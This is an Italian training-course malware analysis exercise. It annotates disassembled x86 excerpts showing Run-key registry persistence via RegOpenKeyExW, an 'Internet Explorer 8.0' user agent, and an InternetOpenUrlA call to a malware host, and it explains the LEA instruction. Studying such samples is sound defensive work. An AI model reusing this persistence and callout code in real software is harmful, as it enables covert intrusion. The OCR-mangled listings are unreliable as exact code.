# S11/L1

Il lavoro di oggi prevede l'analisi di un malware in assembly. La traccia seguente prevede:

Con riferimento agli estratti di un malware reale presenti nelle prossime slide, rispondere alle seguenti domande:

- Descrivere come il malware ottiene la persistenza, evidenziando il codice assembly dove le relative istruzioni e chiamate di funzioni vengono eseguite
- Identificare il client software utilizzato dal malware per la connessione ad Internet
- Identificare l'URL al quale il malware tenta di connettersi ed evidenziare la chiamata di funzione che permette al malware di connettersi ad un URL
- BONUS: qual è il significato e il funzionamento del comando assembly "lea"

La parte di codice nella quale il malware ottiene la persistenza è quella evidenziata in rosso nella figura:

```
0040286F
         push
                               ; samDesired
00402871
         push
               eax
                              ; ulOptions
00402872 | push offset SubKey ; "Software\\Microsoft\\Windows\\CurrentVersion\\Run"
00402877 push HKEY_LOCAL_MACHINE; hKey
0040287C call esi; RegOpenKeyExW
        test eax, eax
0040287E
00402880 jnz short loc_4028C5
00402882
00402882 loc 402882:
00402882 lea
                ecx, [esp+424h+Data]
                              ; lpString
00402886 push
                ecx
                bl. 1
00402887
        mov
00402889 call ds:lstrlenW
)040288F lea edx, [eax+eax+2]
                               ; cbData
00402893 push edx
00402894 mov
               edx, [esp+428h+hKey]
00402898 lea eax, [esp+428h+Data]
0040289C push
               eax
                                ; lpData
                                ; dwType
0040289D push
                1
0040289F push
               0
                                ; Reserved
004028A1 lea ecx, [esp+434h+ValueName]
004028A8 push ecx
                                ; lpValueName
004028A9 push
                 edx
                                ; hKey
```

## **PERSISTENZA**

La chiamata alla funzione RegOpenKeyEx. Notate come i parametri della funzione sono passati sullo stack tramite le istruzioni «push». Con questa funzione il malware accede alla chiave di registro prima di modificarne il valore.

Una cosa importante da notare, è che abbiamo visto qual è una delle chiavi di registro che viene utilizzata dai malware per ottenere persistenza su un sistema operativo Windows.

Software\\Microsoft\\Windows\\CurrentVersion\\Run

#### CLIENT

Il client software utilizzato è Internet Explorer, versione 8.0.

```
push offset szAgent ; "Internet Explorer 8.0"
```

# **URL E CHIAMATA DI FUNZIONE**

```
push
                           dwContext
        80000000h
push
                         ; dwFlags
                         ; dwHeadersLength
push
        8
                         ; lpszHeaders
push
        offset szUrl
                         ; "http://www.malware12com
push
                          ; hInternet
push
call
        edi ; <u>InternetOpenUrlA</u>
```

Nell'immagine sono identificati rispettivamente l'url utilizzato "http://www.malware12.COM".

La chiamata di funzione è InternetOpenUrl.

## **COMANDO LEA**

Il comando LEA (Load Effective Address) in assembly viene utilizzato per caricare l'indirizzo effettivo di un operando in un registro, anziché caricare il valore di quell' operando stesso.

L'istruzione LEA calcola l'indirizzo effettivo dell'operando e lo memorizza nel registro di destinazione, senza eseguire un accesso effettivo alla memoria per recuperare il valore memorizzato all'indirizzo calcolato.

Ad esempio, l'istruzione LEA può essere utilizzata per calcolare l'indirizzo di una variabile o di un'area di memoria e memorizzarlo in un registro, in modo che il registro contenga l'indirizzo effettivo al quale è archiviato il dato desiderato.

Questo può essere utile per calcolare gli indirizzi dei dati senza doverli effettivamente leggere o scrivere in memoria, ma solo per eseguire calcoli basati su quegli indirizzi.

Un esempio di utilizzo di LEA potrebbe essere:

LEA EAX, [EBX + ECX\*2]

Questo comando carica nel registro EAX l'indirizzo effettivo di EBX + ECX\*2, senza effettuare alcun accesso effettivo in memoria.